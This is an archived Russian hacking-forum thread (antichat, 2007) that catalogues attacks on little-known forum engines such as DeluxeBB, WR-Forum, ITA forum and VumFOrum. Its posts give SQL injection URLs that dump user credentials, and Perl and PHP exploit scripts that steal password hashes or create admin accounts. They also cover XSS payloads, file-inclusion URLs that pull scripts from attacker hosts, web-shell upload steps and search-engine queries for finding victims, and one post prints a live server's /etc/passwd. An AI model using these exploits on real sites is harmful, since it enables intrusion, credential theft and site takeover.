PDA

Просмотр полной версии : [Обзор уязвимостей в форумных движках]


Grey
15.04.2007, 13:23
[Обзор уязвимостей в форумных движках]

----------------------------------------------------------------

Так же обратите внимание на темы:

[Обзор уязвимостей Ipb] (http://forum.antichat.ru/thread15678.html)

[Обзор уязвимостей phpBB] (http://forum.antichat.ru/thread24488.html)

[Обзор уязвимостей vBulletin] (http://forum.antichat.ru/threadnav22852-1-10.html)

[Обзор уязвимостей Ikonboard] (http://forum.antichat.ru/thread26024.html)

[Обзор Уязвимостей Yabb] (http://forum.antichat.ru/thread26606.html)

[Обзор уязвимостей myBB] (http://forum.antichat.ru/thread27777.html)

[Обзор уязвимостей Phorum] (http://forum.antichat.ru/thread27224.html)

[Обзор уязвимостей Woltlab Burning Board + Lite] (https://forum.antichat.ru/thread43961.html)

[ Обзор уязвимостей miniBB ] (http://forum.antichat.ru/thread52944.html)

Обзор уязвимостей PunBB (http://forum.antichat.ru/showthread.php?t=58530)

Обзор уязвимостей IceBB (http://forum.antichat.ru/thread58591.html)

[Обзор уязвимостей XMBForum] (http://forum.antichat.ru/showthread.php?p=694420)

----------------------------------------------------------------

Эти темы так же могут быть вам полезны:

Бэкдорим форумы. Теория и практика! (http://forum.antichat.ru/threadnav23612-1-10.html)

[FAQ + полезные ссылки] (http://forum.antichat.ru/thread18152.html)
- в этой теме вы сможете найти ответы на наиболее частые вопросы.

----------------------------------------------------------------

В этой теме будут выкладываться уязвимости, разных не очень популярных форумных движков.

----------------------------------------------------------------

Grey
15.04.2007, 15:21
Форум: DeluxeBB
Версия: <= 1.06

Уязвимость в сценарие misc.php, из за недостаточной обработки данных в параметре name можно осуществить SQL инъекцию.

misc.php?sub=profile&name=0')+UNION+SELECT+1,concat(database(),char(58) ,version(),char(58),user()),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*

Пароль пользователя:

misc.php?sub=profile&name=0')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+ from+deluxebb_users+where+uid=1/*

где uid= - номер пользователя

Эксплойт:

#!/usr/bin/perl

# coded by k1b0rg

use LWP::UserAgent;
use strict;
my $site=$ARGV[0];
my $id=$ARGV[1];
my $browser = LWP::UserAgent->new() or die;
my $res=$browser->get($site.'misc.php?sub=profile&name=0\')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 +from+deluxebb_users+where+uid='.$id.'/*');

if($res->content=~m!<font class="misctext">([a-f0-9]{32})</font>!i)
{
print 'Hash for userid='.$id.': ['.$1.']';
}
else
{
print 'Exploit failed.';
}

Использование эксплойта:

путь к эксплойту сайт и путь до форума номер пользователя

c:\expl.pl http://site.com/forum/ 1

Сайт и путь до форума писать слитно:

http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта

Резултат работы эксплойта - хеш (md5) пароля выбранного пользователя.

Пример уязвимости:

http://82.212.43.253/c_forum/misc.php?sub=profile&name=0')+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*

Уязвимость под относительно старые форумы - всетреить такие можно не часто, особенно если учесть что сами движки форумов не сильно распространены.

------------------------------------------------------------------

Форум: DeluxeBB
Версия: <= 1.06

Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.

Уязвимых сценариев несколько:

http://site.com/templates/deluxe/postreply.php?templatefolder=[file]

http://site.com/templates/deluxe/posting.php?templatefolder=[file]

http://site.com/templates/deluxe/pm/newpm.php?templatefolder=[file]

http://site.com/templates/default/postreply.php?templatefolder=[file]

http://site.com/templates/default/posting.php?templatefolder=[file]

http://site.com/templates/default/pm/newpm.php?templatefolder=[file]

При проверки узявимости

http://site.com/templates/deluxe/postreply.php?templatefolder=123

вылезала ошибка из которой было видно что к строке добавляеться /posticons.php (т.е. в результате строка выглядела 123/posticons.php), что отлично исправляеться добавлением к строке %00, т.е. в результате запрос долже выглядить так:

http://site.com/templates/deluxe/postreply.php?templatefolder=[file]%00

Grey
15.04.2007, 17:16
Форум: DeluxeBB
Версия: <= 1.07

Для этой версии есть эксплойт для получения админских привилегий.

Эксплойт:

#!/usr/bin/perl
# DeluxeBB <= 1.07 Create Admin Exploit
#
## www.h4ckerz.com / www.hackerz.ir / www.aria-security.net
# ./2006-6-25
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;


$host = $ARGV[0];
$uname = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;

print q(
################################################## #########
# DeluxeBB <= 1.07 Create Admin Exploit #
# www.hackerz.ir - www.h4ckerz.com #
################### Coded By Hessam-x #####################

);



if (@ARGV < 3) {
print " # usage : hx.pl [host&path] [uname] [pass]\n";
print " # E.g : hx.pl www.milw0rm.com/deluxebb/ str0ke 123456\n";
exit();
}


print " [~] User/Password : $uname/$passwd \n";
print " [~] Host : $host \n";
print " [~] Login ... ";



# Login In DeluxeBB <= 1.07 Create Admin Exploit

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

$xpl->cookie_jar( $cookie_jar );
$res = $xpl->post($url.'misc.php',
Content => [
"sub" => "login",
"name" => "$uname",
"password" => "$passwd",
"submit" => "Log-in",
"redirect" => "",
"expiry" => "990090909",
],);

if($cookie_jar->as_string =~ /memberpw=(.*?);/) {
print "successfully .\n";
} else {
print "UNsuccessfully !\n";
print " [-] Can not Login In $host !\n";
print $cookie_jar->as_string;
exit();
}

# Creat Admin :)

$req = $xpl->get($url.'cp.php?sub=settings&xemail=h4x0r@h4x0r.net&xhideemail=0
&xmsn=h4x0r\',membercode=\'5&xicq=&xaim=&xyim=&xlocation=&xsite=&languagex=
English&skinx=default&xthetimeoffset=0&xthedateformat=d.m.y&xthetimeformat=12
&invisiblebrowse=0&markposts=15&submit=Update');
$tst = $xpl->get($url.'index.php');
if ($tst->as_string =~ /Admin Cp/) {
print " [+] You Are Admin Now !!";
} else {
print " [-] Exploit Failed !";
}

# milw0rm.com [2006-06-25]

Использование эксплойта:

путь к эксплойту сайт и путь до форума ваш логин ваш пароль

c:\expl.pl http://site.com/forum/ grey 123123

Сайт и путь до форума писать слитно:

http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта

Резултат работы эксплойта - получение админских привилегий.

------------------------------------------------------------------

Форум: DeluxeBB
Версия: <= 1.9

Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.

На этот раз уязвим сценарий sig.php.

<?php
if($settings['smilies']=='on')
{
include($templatefolder.'/smilies.php');
}
?>

Из кода видно что для инклюда необходимо вывполнение условия $settings['smilies']=='on', а так же наличие %00, т.к. к строке будет добавляться /smilies.php.

В результате:

http://site.com/templates/deluxe/cp/sig.php?settings[smilies]=on&templatefolder=[file]%00

где [file] - файл, который будет инклюдиться, а settings[smilies]=on присвоение переменной необходимого для инклюда значения.

Grey
16.04.2007, 20:43
Форум: WR-Форум
Версия: 1.8

Стандартный пароль который изначально стоит на форуме (на админку /admin.php) - admin. Конечно врятли что его не сменили но всё таки попробывать можно.

Есть несколько активных XSS.

В профиле в полях:

1. Откуда - скрипт будет срабатывать при просмотре страницы Участники.
2. Домашняя страничка - скрипт будет срабатывать при просмотре страницы Участники.

3. Подпись - скрипт будет срабатывать при просмотре сообщений в темах.

Вводим <script>alert();</script>

4. При регистрации создаём пользователя с именем <script>alert();</script> - почти на каждой странице будет срабатывать ваш код.

Куки пользователя выглядят примерно так:

wrfcookies=Grey%7C123%7C1176741104%7C1176741104%7C

%7C123%7C1176741104%7C1176741104%7C - это аски коды, если представить как символы то получиться, такая строка:

|123|1176741104|1176741104|

где |123| - пароль пользователя

Куки админа выглядят так:

frcookies=1%7Cadmin%7C1176740994%7C

Опять же если представить аски коды как символы то получиться:

1|admin|1176740994|

где |admin| - пароль к админ-центру

Видно что пароли не только не шифруються, но и храняться в куках, имею активную xss достать куки будет не сложно.

------------------------------------------------------------

Заливка шелла:

http://forum.antichat.ru/showpost.php?p=380128&postcount=18

------------------------------------------------------------

Скачать форум можно здесь: http://wr-script.ru/

Для поиска сайтов с таким форумом вводим: Powered by WR-Forum

Кстати сайтов с таким форумом не так уж и мало:

__http://www.google.ru/search?hl=ru&q=Powered+by+WR-Forum&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=

Grey
17.04.2007, 12:17
Форум: RonForum
Версия: v30

Доступ в админку:

Если открыть файл admin.php и посмотреть его содержимое, то можно встретить такую строку:

if(isset($entrance) and $entrance=="1")

Эта строка идёт после проверки пароля вводе пароля, содержимого куков, но изначально никакого значения эта переменная не имеет, ей только присваиваеться значение в случае, если пароль введён правильно.

Переходим в админку:

http://site.com/from/admin.php

Теперь присваиваем переменной entrance необходимое значение 1:

http://site.com/from/admin.php?entrance=1

Теперь вы в админке, но есть не большой минус: при переходе по любой ссылке, значение переменной будет утеряно, что бы этого не случилось смотрим адрес ссылки, к примеру:

http://site.com/from/admin.php?what=moderators

и добавляем к ней необходмиое значение:

http://site.com/from/admin.php?entrance=1&what=moderators

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyright © Kwasnikov R.P

------------------------------------------------------------
------------------------------------------------------------

Форум: ParkerForum
Версия: 0.01

Активная XSS

В поле Сайт, при создание новой темы вводим <script>alert();</script> - скрипт будет выплняться при просмотре главной страницы форума, а так же при просмотре темы.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyrights (C) by ademan

------------------------------------------------------------
------------------------------------------------------------

Форум: Древообразный форум
Версия: 1.0

Активная XSS

Уязвимы поля Name и Subject.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Скрипт предоставлен www.chemport.ru

Horsekiller
17.04.2007, 12:30
tForum <= b0.915
Форум малораспространённый, но всё же.

Активная XSS в поле "Message".


http://www.target/path/message.php


Вставляем в поле "Message":


javascript:alert(document.cookie)


В кукисах сессия, логин.


Ссылка для поиска в Google:

_http://www.google.ru/search?hl=ru&newwindow=1&q=Powered+by%3A+tForum&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=

Grey
18.04.2007, 11:56
Форум: KerviNet
Версия: 1.1

Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.

Сценарий topic.php.
Уязвим параметр forum.

------------

$mysql->query("SELECT name FROM forums WHERE id_forum = ".$forum);


Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к базе данных:

topic.php?forum=-1+union+select+1/*

Таблица с пользователями:

topic.php?forum=-1+union+select+1+from+users/*

Вывод логина, пароля и мыла пользователя:

topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users/*

В результате запроса получаем: 1:TEST:123:grey@site.ru

где 1 - номер пользователя, TEST - имя пользователя, 123 - пароль пользователя, заметьте пароль храниться в незашифрованном виде, grey@site.ru - мыло пользователя
char(58) - это символ ':' который в нашем случае служит разделителем.

Перебор пользователей:

topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+0,1/*
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+1,1/*
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+2,1/*

http://site.com/forum/topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+0,1/*

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyright KerviNet © 2005-2007

------------------------------------------------------------
------------------------------------------------------------

Форум: XMB
Версия: 1.5

Активная XSS

Уязвим параметр MSN.

При регистрации пользователя в поле MSN вводим <script>alert();</script>, скрипт будет срабатывать при просмотре профиля пользователя.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered by XMB

Grey
18.04.2007, 19:31
Форум: ITA forum
Версия: 1.21
Версия: 1.31
Версия: 1.49

Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.

Сценарий showforum.php.
Уязвим параметр fid.

------------

$trs = mysql_query("SELECT forumtitle, locked FROM itaf_forum WHERE forumid = '$fid'");

Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к БД и в результате получам имя и хеш (mysql4) пароля пользователя:

http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58 ),user_name,char(58),user_pass),2+from+itaf_user+l imit+0,1/*

Перебираем пользователей:

http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58 ),user_name,char(58),user_pass),2+from+itaf_user+l imit+1,1/*
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58 ),user_name,char(58),user_pass),2+from+itaf_user+l imit+2,1/*

------------

Для удобства написал небольшой слойт, который выдирает хеш пользователя (id пользователя задаёться):

<?php

// coded by Grey

if($argc == 4)
{
$a = file('http://'.$argv[1].$argv[2].'showforum.php?fid=\'+union+select+user_pass,2+fr om+itaf_user+where+id='.$argv[3].'/*');
for($i = 0; $i < count($a); $i++)
{
if(eregi("[a-f0-9]{16,16}",$a[$i],$b))
{
echo("\n");
echo($b[0]);
echo("\n");
$t = 1;
break;
}
}
if($t != 1) { echo("Exploit failed"); }
}
else
{
echo("\n");
echo('Usage: '.$argv[0].' site dir user_id');
echo("\n");
echo('Usage: '.$argv[0].' site.ru /forum/ 1');
echo("\n");
}
?>

Использование сплойта:

php c:\exp.php site dir user_id

php c:\exp.php site.ru /forum/ 1

site - сайт
dir - директория с форумом
user_id - номер пользователя

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered By: V1.21
Для поиска сайтов с таким форумом вводим: Powered By: V1.31
Для поиска сайтов с таким форумом вводим: Powered By: V1.49

К сожалению можно встретить и пропатченную версию, в которой эта уязвимость исправленна.

------------------------------------------------------------
------------------------------------------------------------

Другие уязвимости:

1. Форум: ITA forum
Версия: 1.31 (возможно и другие версии)
Версия: 1.49 (возможно и другие версии)

Пассивная XSS:

http://site.ru/search.php?Submit=true&search="><script>alert(123);</script>

2. Форум: ITA forum
Версия: 1.49 (возможно и другие версии)

SQL инъекция:

http://site.ru/showuser.php?uid='+union+select+1,concat(user_name ,char(58),user_pass),3,4,5,6,7,8,9,10,11,12,13,14, 15+from+itaf_user/*

Grey
18.04.2007, 23:30
Форум: Board
Версия: 2.0

1. SQL инъекция

Сценарий view_all_topic.php.
Уязвим параметр m_id.

------------

$sql2="select m_id as reply,name,email,msg,date_format(m_date,'%d.%m.%Y %T') as date, subject from $dbtable where r_id =$m_id order by date";
$result=mysql_query($sql2,$db);

Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к БД в результате, логин, пароль (пароль не зашифрован) и мыло пользователя:

http://site.ru/forum/view_all_topic.php?m_id=-1+union+select+concat(id,char(58),name,char(58),pa ssword,char(58),email),2,3,4,5+from+board000_users/*

2. Пасивная XSS

В поиске вводим <script>alert();</script> - скрипт выпольнится.

3. Активная XSS

При создание темы/сообщения вписываем в поле заголовка сообщения или в текст сообщения <script>alert();</script> - скрипт будет выпольняться при ответе на данное сообщение/тему.

4. Возможность заходить от любого пользователя, без ввода пароля.

Смотрим содержимое куков:

board_user_cook=qwerty; board_user_id=3

board_user_cook - имя пользователя
board_user_id - номер пользователя

Теперь меняем эти значения:

К примеру есть пользователь max и его номер 1:

board_user_cook=max; board_user_id=1

Всё теперь вы пользователь max.

------------

В Опере значение куков менять так:

Инструменты - Дополнительно - Cookies

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyright ° CarLine 2002г.

Не смотря на то, что форум старый сайтов с таким форумом достаточно много.

------------------------------------------------------------
------------------------------------------------------------

Форум: ReForum
Версия: 1.0

SQL инъекция

Уязвим параметр viewth.

http://site.ru/forum/?viewth=2
http://site.ru/forum/index.php?viewth=2

------------------------------------------------------------

Grey
22.04.2007, 17:23
Форум: Trofimov forum
Версия: v1.2

Активная XSS в поле Имя.

Скрипт срабатывает после добавления темы (страница forum.php).

------------------------------------------------------------
------------------------------------------------------------

Форум: TROforum
Версия: 0.3

Из-за не коректной обработки параметров, можно войти в админку имея только пароль:

if ($password != "$admin_login" && $password != "$admin_password")

Как видно из этой строки войти в админку можно имея вместо пароля логин.
Изначально логин - login.

Но перед этим условием стоит условие:

if ($password != "$admin_login" && $password != "$admin_password")

Само условие не верно, т.к. оно звучит так: Если Логин И Пароль не верны, то прекратить выполнение скрипта.

Из условия следует, что если только логин или пароль будет неверным, то работу скрипта прекращать не следует.

Имя только логин (а его угадать проще(login, admin или просто имя админа)), можно получить полный доступ к админке:

http://site.ru/forum/admin/admin.php?login=login&password=login

Таким образом переменным login и password присваиваются необходимые для входа значения.

Но здесь всё проще - файл настроек не требует авторизации:

http://site.ru/forum/admin/update.php

А именно в этом файле хранятся Логин и Пароль, сменить которые не составит труда.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered by: TROforum 0.3

Grey
23.04.2007, 15:31
Форум: pHpAS
Версия: 1.26

1. Активная XSS.

1) При ответе в теме в поля Title и Name вставляем скрипт <script>alert();</script>.

Скрипт будет выполняться при про смотре коментариев.

2) При создание темы (/admin - пароль здесь не нужен) в полях Title и Text вводим <script>alert();</script>.

Скрипт будет выполнятся как на странице admin/index.php так и на /index.php.

2. SQL инъекция.

Уязвимость в сценарие show.php в параемтре id.

http://site.ru/forum/show.php?id=-1+union+select+1,2,3,4/*

Не смотря на то, что на форуме нет пользователей, сама sql инъекция даёт возможность обращаться к другим таблицам (к примеру к таблицам, используемым движком сайта).

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered By: pHpAS 1.26

------------------------------------------------------------
------------------------------------------------------------

Форум: electrifiedForum
Версия: v1.70

1. Пасивная XSS.

http://site.ru/forum/index.php?action=displaythread&forum=chat&id=<script>alert();</script>

Есть еще одна но, она будет выполняться только с админскими привилегиями:

http://site.ru/forum/index.php?action=userinfo&user=<script>alert();</script>

2. Активная XSS.

1) В личке в поле Subject пишем <script>alert();</script>, скрипт будет выполняться при просмотре личной почты.

2) В профиле в подписе (Signature) пишем <script>alert();</script>, скрипт будет выполняться при просмотре сообщений на форуме.

3) На форуме при создание темы в поле Title пишем <script>alert();</script>, скрипт будет выполняться при ответе на сообщение.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered By electrifiedForum v1.70

Grey
24.04.2007, 18:58
Форум: He11.net Forums
Версия: 1.0

1. Пасивная XSS.

http://site.ru/forum/index.php?top_message=<script>alert();</script>

2. SQL инъекция.

1) http://site.ru/forum/profile.php?id=-1+union+select+1,concat(id,char(58),username,char( 58),password,char(58),uncrypt_pass),3,4,5,6,7,8,9, 10,11,12+from+Dragon_users/*

в результате получаем строку вида:

1:grey:202cb962ac59075b964b07152d234b70:123

В базе данных хранится и зашифрованный пароль (md5) и пароль в чистом виде.

2) http://site.ru/forum/view_thread.php?id=-1+union+select+1,2,3,4,concat(id,char(58),username ,char(58),password,char(58),uncrypt_pass),6,7,8,9+ from+Dragon_users/*

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: "View Today's Active Topics"

Пример уязвимого форума:

__http://sims2.h10.ru/forum/profile.php?id=-1+union+select+1,concat(id,char(58),username,char( 58),password,char(58),uncrypt_pass),3,4,5,6,7,8,9, 10,11,12+from+Dragon_users/*

------------------------------------------------------------
------------------------------------------------------------

Форум: UBB Threads
Версия: 5.5

Пассивная XSS:

http://site.ru/showprofile.php?Cat=&User=<script>alert();</script>

Активная XSS:

При создание сообщения на форуме в поле Сообщение вписываем скрипт, скрипт будет выполняться при просмотре темы.

Заливка шелла:

Заходим в админку - Includes, редактируем (вписываем шелл) любой из файлов (Header, Footer и т.д.).

Шелл будет доступен по адресу:

http://site.ru/includes/header.php

_GaLs_
24.04.2007, 22:34
Форум FastBB 9.20

1. Возможности писать в закрытые темы.

Необходимо зайти в закрытую тему, в адресной строке поменять №1 на №6 - и
попадаешь на страницу создания сообщения. Пишешь сообщение, отправляешь и оно
появляется в теме.

_GaLs_
26.04.2007, 22:10
Форум: Ultimate PHP Board

Необходимо зарегестрироватся.Регестр руемся и запоминаем что мы написали.
Теперь самое интересное - использование уязвимости. Баг в форуме в том что у всех зарегестрированных пользователей есть права на просмотр файлов:
_http://www.forum.de/forum/admin.php - панель администратора.
_http://www.forum.de/forum/admin_forum.php - администрирование форумами.
_http://www.forum.de/forum/admin_members.php - позволяет редактировать пользователей.
_http://www.forum.de/forum/admin_config.php - панель настройки форума.
Идем на _http://www.forums.de/forum/admin_members.php и перед нами список пользователей. Ставим себе права админа, перезаходим, удаляем бывших админов и форум ваш! ;)

l1ght
14.05.2007, 09:42
Форум: Anyboard все версии
Локальный инклуд файлов в параметре vf
Например на сайте производителя:

http://www.anyboard.net/cgi-bin/anyboard.cgi/rec/Party_and_Poultry_Information_Exchange/-=ab=-/index.html?cmd=retr&vf=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4 vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D
______________________________________________
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
http://www.google.ru/search?q=inurl:?cmd=retr
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
alias:x:500:500::/var/qmail/alias:/bin/bash
qmaild:x:501:500::/var/qmail:/bin/bash
qmaill:x:502:500::/var/qmail:/bin/bash
qmailp:x:503:500::/var/qmail:/bin/bash
qmailq:x:504:501::/var/qmail:/bin/bash
qmailr:x:505:501::/var/qmail:/bin/bash
qmails:x:506:501::/var/qmail:/bin/bash
vpopmail:x:507:502::/home/vpopmail:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
exim:x:93:93::/var/spool/exim:/sbin/nologin
________________________________________________

_GaLs_
17.05.2007, 20:46
XSS уязвимость на Intellect Board 2.12

Была найдена XSS уязвимость в форумном движке Intellect Board 2.12.
Устранение: Обновить скрипты.
Уязвимость: можно в качестве адреса домашней страницы или ЖЖ поставить javascript:. А дальше - классическая XSS: перехватываем идентификатор сессии админа и влезаем в АЦ. Правда, сделать это не так уж и просто: по умолчанию там выполняется привязка сессии к HTTP_USER_AGENT, да и время жизни сессии ограничено несколькими часами.

V.I.P
29.05.2007, 19:20
ExBB
Описание:Баг из-за недостаточной проверки подключаемых файлов в скрипте usertstop.php
Эксплоит : http://sitename.com/[Script Path]/modules/userstop/userstop.php?exbb[home_path]=http://yourshell

VistaBB <= 2.x
Описание:Баг в проверке передаваемого юзером поля Cookie в HTTP-запросе
Позволяет выполнять произвольные команды
Эксплоит : http://milw0rm.com/exploits/2251

Woltlab Burning Board 2.3.5
Описание:Баг в модуле links.php приводит к выполнению произвольных sql-запросов
Эксплоит : http://milw0rm.com/exploits/2197
Эксплоит : http://milw0rm.com/exploits/1810

MiniBB <=1.5
Описание:Через уязвимый скрипт com_minibb.php можно загрузить шелл на уязвимую машину
Эксплоит : http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt?

MyBB < 1.1.3
Описание:Эксплоит позволяет выполнять произвольные команды на сервера
Эксплоит :http://milw0rm.com/exploits/1909

PHORUM 5
Описание:Эксплоит работает с register_globals=On и magic_quotes_gpc=Off
Эксплоит : http://milw0rm.com/exploits/2008

UBB Threads

1.UBBThreads 5.x,6.x
Описание:Работает с register_globals on
Уязвимый скрипт ubbt.inc.php позволяет просматривать файлы на сервере

2.UBB.threads >= 6.4.x
Описание:Баг в скрипте голосования позволяет выполнять произвольные команды через скрипт атакующего
Эксплоит : */addpost_newpoll.php?addpoll=preview&thispath=http://[attacker]/cmd.gif?&cmd=id

Zix Forum
Описание:Передаваемый параметр "layid" недостаточно проверяется в скрипте 'settings.asp' что приводит к sql-inj
Эксплоит : site.com/zix/login.asp?layid=-1%20union%20select% 201,null,null,1,1,1,1,null,1,1,J_User,null,1,1,1,1 ,1,J_Pass,null,null,null,null,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,null%20from%20adminLog ins where approve=1 and '1'='1'
Эксплоит : site.com/zix/main.asp?layid=-1%20union%20select% 201,null,null,null,1,1,1,null,1,1,J_User,null,1,1, 1,1,1,J_Pass,null,null,null,nu
ll,1,1,1,1,1,1,1,1,1,1,1,1,1,null,null%20from%20ad minLogins where approve=1 and '1'='1'

qjForum

Описание:Недостаточная обработка поля "uName" в скрипте 'member.php'
Для выполнения эксплоита надо залогиниться на форум
Эксплоит : http://target/[path]/member.asp?uName='union%20select%200,0,0,username, 0,0,pd,email,0,0,0,0,0,0,0,0,0,0,0,0%20from%20memb er

tinyBB <= 0.3
Описание:Ошибка в скрипте 'footers.php',позволяющая залить шелл
Эксплоит : http://[victim]/[tBBPath]/footers.php?tinybb_footers=http://yourhost.com/cmd.txt?

FunkBoard

Описание:Уязвимость в скрипте profile.php позволяет сменить пасс выбранного юзера
Эксплоит : http://milw0rm.com/exploits/1875

QBoard <= v.1.1
Описание:Ошибка в скрипте 'post.php',позволяющая залить шелл
Эксплоит : http://www.site.com/[QBoard_path]/board/post.php?qb_path=[evil_scripts]

FlashBB <= 1.1.5
Описание:Ошибка в скрипте 'getmsg.php',позволяющая залить шелл
Эксплоит : http://milw0rm.com/exploits/1921

LiteForum 2.1.1
Описание:Эксплоит-переборщик хеша пароля
Эксплоит : http://rst.void.ru/download/r57lite211.txt

Forum Russian Board 4.2
Описание:Выполнение произвольных команд через уязвимый скрипт 'admin/style_edit.php'
Эксплоит : http://rst.void.ru/download/r57frb.txt

OpenBB 1.0.5
Описание:SQL-иньекция через нефильтруемый параметр CID
Эксплоит : http://rst.void.ru/download/r57openbb.txt

Gravity Board X v1.1
Описание:Выполнение произвольных команд через уязвимый скрипт 'editcss.php'
Эксплоит : http://rst.void.ru/download/r57gravity.txt

Zorum forum
Описание:выполнение SQL-иньекции через нефильтруемый параметр 'rollid'
Эксплоит : http://rst.void.ru/download/r57zor.txt

Grey
05.06.2007, 00:33
Форум: WR-Форум
Версия: 1.8

------------------------------------------------------------

Про уязвимости форума читать тут:

http://forum.antichat.ru/showpost.php?p=339251&postcount=4 - (активные XSS)

------------------------------------------------------------

Заливка шелла (через админку):

Заходим в админку -> Настройки, в поле Описание (или в поле Е-майл администратора) вписываем код шелла следующим образом:

";?> <? Код шелла ?> <? //

к примеру сделам вывод строки 123123:

";?> <? echo(123123); ?> <? //

Шелл будет доступен по адресу:

http://site.ru/forum/config.php

При внедрение кода работа форума нарушена не будет.

Grey
12.06.2007, 20:11
Форум: VumFOrum
Версия: v2.5

Пасcивная XSS:

http://site.ru/?forum=profile&user=<script>alert();</script>

Активная XSS:

1) В поле Сообщение вводим скрипт, скрипт будет выполняться при просмотре темы.

2) При регистрации пользователя в поле Url вводим текст скрипта, скрипт будет выполняться при просмотре профиля пользователя.

Заливка шелла:

Способ 1:

При создание темы/сообщения прикрепляем файл - шелл.

Шелл будет доступен по адресу:

http://site.ru/upload/shell.php

Способ 2:

При регистрации на форуме, в поле Имя введите ../shell.php, в поле пароль и его подтверждение введите 1, в поле Mail 1@1, в поле Url введите код шелла (к примеру <? echo(1); ?>).

Шелл будет доступен по адресу:

http://site.ru/shell.php

Если прав на заливку шелла в эту директорию не хватит, то можно попробывать залить шелл в директорию upload:

При регистрации на форуме, в поле Имя введите ../upload/shell.php, в поле пароль и его подтверждение введите 1, в поле Mail 1@1, в поле Url введите код шелла (к примеру <? echo(1); ?>).

Шелл будет доступен по адресу:

http://site.ru/upload/shell.php

Grey
14.06.2007, 17:59
Форум: SMDS Forum
Версия: v.2.1 rus

Локальный инклуд:

